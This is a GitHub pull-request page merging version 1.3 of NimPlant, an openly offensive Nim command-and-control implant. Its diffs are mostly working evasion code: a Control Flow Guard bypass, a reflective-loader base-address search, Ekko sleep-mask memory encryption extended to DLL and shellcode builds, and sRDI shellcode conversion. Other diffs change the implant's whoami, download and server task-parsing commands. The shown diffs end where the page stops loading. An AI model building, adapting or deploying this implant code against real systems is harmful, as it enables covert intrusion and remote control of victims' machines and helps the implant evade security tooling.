Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

NimPlant v1.3 #30

Merged
merged 33 commits into from
Mar 9, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
33 commits
Select commit Hold shift + click to select a range
cc4d6b6
Fix issues with unicode username in whoami() and logging (fix #23)
chvancooten Aug 31, 2023
634c3b1
Implement findBaseAddress by matching magic bytes.
notb9 Nov 27, 2023
f8d6708
Implement CFG bypass to fix Ekko for DLL.
notb9 Nov 27, 2023
55c40b6
Remove SRDI_CLEARHEADER flag to fix raw shellcode payload.
notb9 Nov 27, 2023
497f117
Fix issues with unicode username in whoami() and logging (fix #23)
chvancooten Aug 31, 2023
86e6613
Merge branch 'dev' of github.com:chvancooten/NimPlant into dev
chvancooten Dec 21, 2023
b493d64
Merge pull request #25 from notb9/fix-ekko-for-dll-raw
chvancooten Dec 21, 2023
caa0ea5
Bump server dependencies
chvancooten Dec 21, 2023
70bf4c3
Fix escaping issue in banner display
chvancooten Dec 21, 2023
02e9296
Update getHost() function to support unicode characters (fix #23)
chvancooten Dec 21, 2023
6365616
Update version numbers to 1.3
chvancooten Dec 21, 2023
1056b7e
Web UI: update dependencies, fix fetcher bug, fix useEffect warnings,…
chvancooten Dec 21, 2023
1e7cbaf
Recompile web UI for 1.3
chvancooten Dec 21, 2023
1e4ec81
update .gitignore to ignore certificate files
yamakadi Mar 6, 2024
b39eead
update supported certificate version -- rust complains about it somet…
yamakadi Mar 6, 2024
6f12a6c
add a more universal decode function and replace how getResult decode…
yamakadi Mar 6, 2024
352e91a
Remove the `gzip` header from the upload request in `download`. This …
yamakadi Mar 6, 2024
4031f71
Add more verbose error and bad request logging to make live debugging…
yamakadi Mar 7, 2024
65afea9
Log the bad requests to the relevant NimPlant if there's one + log an…
yamakadi Mar 7, 2024
94c87ee
make sure we send json as task and download handles paths correctly
yamakadi Mar 7, 2024
4b72237
make sure commands are properly quoted using shlex. we also need to r…
yamakadi Mar 7, 2024
7bd16a2
Merge pull request #28 from yamakadi/dev-yamakadi
chvancooten Mar 7, 2024
efd0f21
(WIP) Fix command duplication issue from PR #28, fix 'cmd' / 'args' p…
chvancooten Mar 7, 2024
c17e379
Refactoring spree continued
chvancooten Mar 8, 2024
58117e9
Further Python refactoring
chvancooten Mar 8, 2024
9e82540
Final refactoring (for now), many bugfixes
chvancooten Mar 8, 2024
c1f0aa4
Merge pull request #29 from chvancooten/feature/wip-refactor-and-fix
chvancooten Mar 8, 2024
212d0d2
Bump packages
chvancooten Mar 8, 2024
6cc8501
(WIP) Initial frontend refactoring following Mantine upgrade to 7 (2 …
chvancooten Mar 8, 2024
3cb6705
(WIP) Additional refactoring of frontend, most styles fixed, update c…
chvancooten Mar 9, 2024
4b03531
Final fixes to GUI notifications system, fix console layout and runti…
chvancooten Mar 9, 2024
afbc1e4
Render updated frontend, pin last wildcard package versions to latest
chvancooten Mar 9, 2024
5d05087
Merge pull request #31 from chvancooten/feature/wip-ui-mantine-7
chvancooten Mar 9, 2024
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
__pycache__/
.vscode
.xorkey
*.pem
*.key
*.bin
*.db
*.dll
Expand Down
34 changes: 19 additions & 15 deletions NimPlant.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,15 +11,15 @@

import os
import random
import sys
import time
import toml
from pathlib import Path
from client.dist.srdi.ShellcodeRDI import *
from client.dist.srdi.ShellcodeRDI import ConvertToShellcode, HashFunctionName


def print_banner():
print(
"""
r"""
* *(# #
** **(## ##
######## ( ********
Expand Down Expand Up @@ -62,8 +62,8 @@ def print_usage():
)


def getXorKey(force_new=False):
if os.path.isfile(".xorkey") and force_new == False:
def get_xor_key(force_new=False):
if os.path.isfile(".xorkey") and not force_new:
file = open(".xorkey", "r")
xor_key = int(file.read())
else:
Expand All @@ -72,8 +72,8 @@ def getXorKey(force_new=False):
"NOTE: Make sure the '.xorkey' file matches if you run the server elsewhere!"
)
xor_key = random.randint(0, 2147483647)
file = open(".xorkey", "w")
file.write(str(xor_key))
with open(".xorkey", "w") as file:
file.write(str(xor_key))

return xor_key

Expand Down Expand Up @@ -123,14 +123,19 @@ def compile_nim_debug(binary_type, _):

def compile_nim(binary_type, xor_key, debug=False):
# Parse config for certain compile-time tasks
configPath = os.path.abspath(
config_path = os.path.abspath(
os.path.join(os.path.dirname(sys.argv[0]), "config.toml")
)
config = toml.load(configPath)
config = toml.load(config_path)

# Enable Ekko sleep mask if defined in config.toml, but only for self-contained executables
sleep_mask_enabled = config["nimplant"]["sleepMask"]
if sleep_mask_enabled and binary_type not in ["exe", "exe-selfdelete"]:
if sleep_mask_enabled and binary_type not in [
"exe",
"exe-selfdelete",
"dll",
"raw",
]:
print(" ERROR: Ekko sleep mask is only supported for executables!")
print(f" Compiling {binary_type} without sleep mask...")
sleep_mask_enabled = False
Expand Down Expand Up @@ -185,7 +190,7 @@ def compile_nim(binary_type, xor_key, debug=False):

# Convert DLL to PIC using sRDI
dll = open("client/bin/NimPlant.dll", "rb").read()
shellcode = ConvertToShellcode(dll, HashFunctionName("Update"), flags=0x5)
shellcode = ConvertToShellcode(dll, HashFunctionName("Update"), flags=0x4)
with open("client/bin/NimPlant.bin", "wb") as f:
f.write(shellcode)

Expand All @@ -201,7 +206,6 @@ def compile_nim(binary_type, xor_key, debug=False):

if len(sys.argv) > 1:
if sys.argv[1] == "compile":

if len(sys.argv) > 3 and sys.argv[3] in ["nim", "nim-debug"]:
implant = sys.argv[3]
else:
Expand All @@ -220,16 +224,16 @@ def compile_nim(binary_type, xor_key, debug=False):
binary = "all"

if "rotatekey" in sys.argv:
xor_key = getXorKey(True)
xor_key = get_xor_key(True)
else:
xor_key = getXorKey()
xor_key = get_xor_key()

compile_implant(implant, binary, xor_key)

print("Done compiling! You can find compiled binaries in 'client/bin/'.")

elif sys.argv[1] == "server":
xor_key = getXorKey()
xor_key = get_xor_key()
from server.server import main

try:
Expand Down
6 changes: 4 additions & 2 deletions client/NimPlant.nim
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@ when defined risky:
# Parse the configuration at compile-time
let CONFIG : Table[string, string] = parseConfig()

const version: string = "NimPlant v1.2"
const version: string = "NimPlant v1.3"
proc runNp() : void =
echo version

Expand Down Expand Up @@ -62,7 +62,7 @@ proc runNp() : void =
quit(0)

when defined verbose:
echo obf("DEBUG: Failed to register with server. Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".")
echo obf("DEBUG: Attempt: ") & $currentAttempt & obf("/") & $maxAttempts & obf(".")

proc handleFailedCheckin() : void =
sleepMultiplier = 3^currentAttempt
Expand Down Expand Up @@ -128,6 +128,8 @@ proc runNp() : void =
sleepMultiplier = 1

except:
when defined verbose:
echo obf("DEBUG: Got unexpected exception when attempting to register: ") & getCurrentExceptionMsg()
handleFailedRegistration()

# Otherwise, process commands from registered server
Expand Down
2 changes: 1 addition & 1 deletion client/NimPlant.nimble
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Package information
# NimPlant isn't really a package, Nimble is mainly used for easy dependency management
version = "1.2"
version = "1.3"
author = "Cas van Cooten"
description = "A Nim-based, first-stage C2 implant"
license = "MIT"
Expand Down
1 change: 0 additions & 1 deletion client/commands/download.nim
Original file line number Diff line number Diff line change
Expand Up @@ -42,7 +42,6 @@ proc download*(li : Listener, cmdGuid : string, args : varargs[string]) : strin
allowAnyHttpsCertificate: true,
headers: @[
Header(key: obf("User-Agent"), value: li.userAgent),
Header(key: obf("Content-Encoding"), value: obf("gzip")),
Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID
Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID
],
Expand Down
20 changes: 10 additions & 10 deletions client/commands/whoami.nim
Original file line number Diff line number Diff line change
@@ -1,7 +1,8 @@
from winim/lean import GetUserName, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation,
TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, TCHAR
from winim/lean import GetUserNameW, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation,
TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, WCHAR
from winim/utils import `&`
import strutils
from winim/inc/lm import UNLEN
import winim/winstr
import ../util/strenc

# Determine if the user is elevated (running in high-integrity context)
Expand All @@ -27,13 +28,12 @@ proc isUserElevated(): bool =
# Get the current username via the GetUserName API
proc whoami*() : string =
var
buf : array[257, TCHAR] # 257 is UNLEN+1 (max username length plus null terminator)
lpBuf : LPWSTR = addr buf[0]
pcbBuf : DWORD = int32(len(buf))
buf = newWString(UNLEN + 1)
cb = DWORD buf.len

discard GetUserNameW(&buf, &cb)
buf.setLen(cb - 1)
result.add($buf)

discard GetUserName(lpBuf, &pcbBuf)
for character in buf:
if character == 0: break
result.add(char(character))
if isUserElevated():
result.add(obf("*"))
88 changes: 88 additions & 0 deletions client/util/cfg.nim
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
# This is a Nim-Port of the CFG bypass required for Ekko sleep to work in a CFG enabled process (like rundll32.exe)
# Original works : https://github.com/ScriptIdiot/sleepmask_ekko_cfg, https://github.com/Crypt0s/Ekko_CFG_Bypass
import winim/lean
import strenc

type
CFG_CALL_TARGET_INFO {.pure.} = object
Offset: ULONG_PTR
Flags: ULONG_PTR

type
VM_INFORMATION {.pure.} = object
dwNumberOfOffsets: DWORD
plOutput: ptr ULONG
ptOffsets: ptr CFG_CALL_TARGET_INFO
pMustBeZero: PVOID
pMoarZero: PVOID

type
MEMORY_RANGE_ENTRY {.pure.} = object
VirtualAddress: PVOID
NumberOfBytes: SIZE_T

type
VIRTUAL_MEMORY_INFORMATION_CLASS {.pure.} = enum
VmPrefetchInformation
VmPagePriorityInformation
VmCfgCalltargetInformation
VmPageDirtyStateInformation

type
NtSetInformationVirtualMemory_t = proc (hProcess: HANDLE, VmInformationClass: VIRTUAL_MEMORY_INFORMATION_CLASS, NumberOfEntries: ULONG_PTR, VirtualAddresses: ptr MEMORY_RANGE_ENTRY, VmInformation: PVOID, VmInformationLength: ULONG): NTSTATUS {.stdcall.}

# Value taken from: https://www.codemachine.com/downloads/win10.1803/winnt.h
var CFG_CALL_TARGET_VALID = 0x00000001

proc evadeCFG*(address: PVOID): BOOl =
var dwOutput: ULONG
var status: NTSTATUS
var mbi: MEMORY_BASIC_INFORMATION
var VmInformation: VM_INFORMATION
var VirtualAddresses: MEMORY_RANGE_ENTRY
var OffsetInformation: CFG_CALL_TARGET_INFO
var size: SIZE_T

# Get start of region in which function resides
size = VirtualQuery(address, addr(mbi), sizeof(mbi))

if size == 0x0:
return false

if mbi.State != MEM_COMMIT or mbi.Type != MEM_IMAGE:
return false

# Region in which to mark functions as valid CFG call targets
VirtualAddresses.NumberOfBytes = cast[SIZE_T](mbi.RegionSize)
VirtualAddresses.VirtualAddress = cast[PVOID](mbi.BaseAddress)

# Create an Offset Information for the function that should be marked as valid for CFG
OffsetInformation.Offset = cast[ULONG_PTR](address) - cast[ULONG_PTR](mbi.BaseAddress)
OffsetInformation.Flags = CFG_CALL_TARGET_VALID # CFG_CALL_TARGET_VALID

# Wrap the offsets into a VM_INFORMATION
VmInformation.dwNumberOfOffsets = 0x1
VmInformation.plOutput = addr(dwOutput)
VmInformation.ptOffsets = addr(OffsetInformation)
VmInformation.pMustBeZero = nil
VmInformation.pMoarZero = nil

# Resolve the function
var NtSetInformationVirtualMemory = cast[NtSetInformationVirtualMemory_t](
GetProcAddress(LoadLibraryA(obf("ntdll")), obf("NtSetInformationVirtualMemory"))
)

# Register `address` as a valid call target for CFG
status = NtSetInformationVirtualMemory(
GetCurrentProcess(),
VmCfgCalltargetInformation,
cast[ULONG_PTR](1),
addr(VirtualAddresses),
cast[PVOID](addr(VmInformation)),
cast[ULONG](sizeof(VmInformation))
)

if status != 0x0:
return false

return true
38 changes: 33 additions & 5 deletions client/util/ekko.nim
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
# This is a Nim-Port of the Ekko Sleep obfuscation by @C5pider, original work: https://github.com/Cracked5pider/Ekko
# Ported to Nim by Fabian Mosch, @ShitSecure (S3cur3Th1sSh1t)

# TODO: Modify to work with .dll/.bin compilation type, see: https://mez0.cc/posts/vulpes-obfuscating-memory-regions/#Sleeping_with_Timers
# TODO: Check which exact functions are needed to minimize the imports for winim
import winim/lean
import ptr_math
import std/random
import strenc
import cfg

type
USTRING* {.bycopy.} = object
Expand All @@ -16,6 +16,29 @@ type

randomize()

# Find the start of the DLL by matching the magic bytes. This is a Nim implementation of the infamous Reflective Loader by Stephen Fewer
# Original Work: https://github.com/stephenfewer/ReflectiveDLLInjection
proc findBaseAddress(start: PVOID): PVOID =
var candidate: PVOID = start
var candidateMZ: PIMAGE_DOS_HEADER
var candidatePE: PIMAGE_NT_HEADERS
var offset: LONG

while true:
candidateMZ = cast[PIMAGE_DOS_HEADER](candidate)

# Match the MZ magic bytes
if candidateMZ.e_magic == IMAGE_DOS_SIGNATURE:
# Sanity Check
offset = candidateMZ.e_lfanew
if offset > sizeof(IMAGE_DOS_HEADER) and offset < 1024:
candidatePE = cast[PIMAGE_NT_HEADERS](candidate + offset)
# Match the PE magic bytes
if candidatePE.Signature == IMAGE_NT_SIGNATURE:
return candidate
# Check the next address
candidate = candidate - 1

proc ekkoObf*(st: int): VOID =
var CtxThread: CONTEXT
var RopProtRW: CONTEXT
Expand Down Expand Up @@ -43,7 +66,7 @@ proc ekkoObf*(st: int): VOID =
hTimerQueue = CreateTimerQueue()
NtContinue = GetProcAddress(GetModuleHandleA(obf("Ntdll")), obf("NtContinue"))
SysFunc032 = GetProcAddress(LoadLibraryA(obf("Advapi32")), obf("SystemFunction032"))
ImageBase = cast[PVOID](GetModuleHandleA(LPCSTR(nil)))
ImageBase = findBaseAddress(cast[PVOID](findBaseAddress))
ImageSize = (cast[PIMAGE_NT_HEADERS](ImageBase +
(cast[PIMAGE_DOS_HEADER](ImageBase)).e_lfanew)).OptionalHeader.SizeOfImage
Key.Buffer = KeyBuf.addr
Expand All @@ -52,12 +75,17 @@ proc ekkoObf*(st: int): VOID =
Img.Buffer = ImageBase
Img.Length = ImageSize
Img.MaximumLength = ImageSize

# Add NtContinue as a valid call target for CFG
NtContinue = GetProcAddress(GetModuleHandleA(obf("ntdll")), obf("NtContinue"))
discard evadeCFG(NtContinue)

if CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](RtlCaptureContext),
addr(CtxThread), 0, 0, WT_EXECUTEINTIMERTHREAD):
WaitForSingleObject(hEvent, 0x32)
copyMem(addr(RopProtRW), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopMemEnc), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopDelay), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopDelay), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopMemDec), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopProtRX), addr(CtxThread), sizeof((CONTEXT)))
copyMem(addr(RopSetEvt), addr(CtxThread), sizeof((CONTEXT)))
Expand Down Expand Up @@ -101,8 +129,8 @@ proc ekkoObf*(st: int): VOID =
addr(RopProtRW), 100, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
addr(RopMemEnc), 200, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue), addr(RopDelay),
300, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
addr(RopDelay), 300, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
addr(RopMemDec), 400, 0, WT_EXECUTEINTIMERTHREAD)
CreateTimerQueueTimer(addr(hNewTimer), hTimerQueue, cast[WAITORTIMERCALLBACK](NtContinue),
Expand Down
4 changes: 2 additions & 2 deletions client/util/webClient.nim
Original file line number Diff line number Diff line change
Expand Up @@ -137,14 +137,14 @@ proc getQueuedCommand*(li : Listener) : (string, string, seq[string]) =
else:
try:
# Attempt to parse task (parseJson() needs string literal... sigh)
var responseData = decryptData(parseJson(res.body)["t"].getStr(), li.cryptKey).replace("\'", "\"")
var responseData = decryptData(parseJson(res.body)["t"].getStr(), li.cryptKey).replace("\'", "\\\"")
var parsedResponseData = parseJson(responseData)

# Get the task and task GUID from the response
var task = parsedResponseData["task"].getStr()
cmdGuid = parsedResponseData["guid"].getStr()

try:
try:
# Arguments are included with the task
cmd = task.split(' ', 1)[0].toLower()
args = parseCmdLine(task.split(' ', 1)[1])
Expand Down
Loading
Loading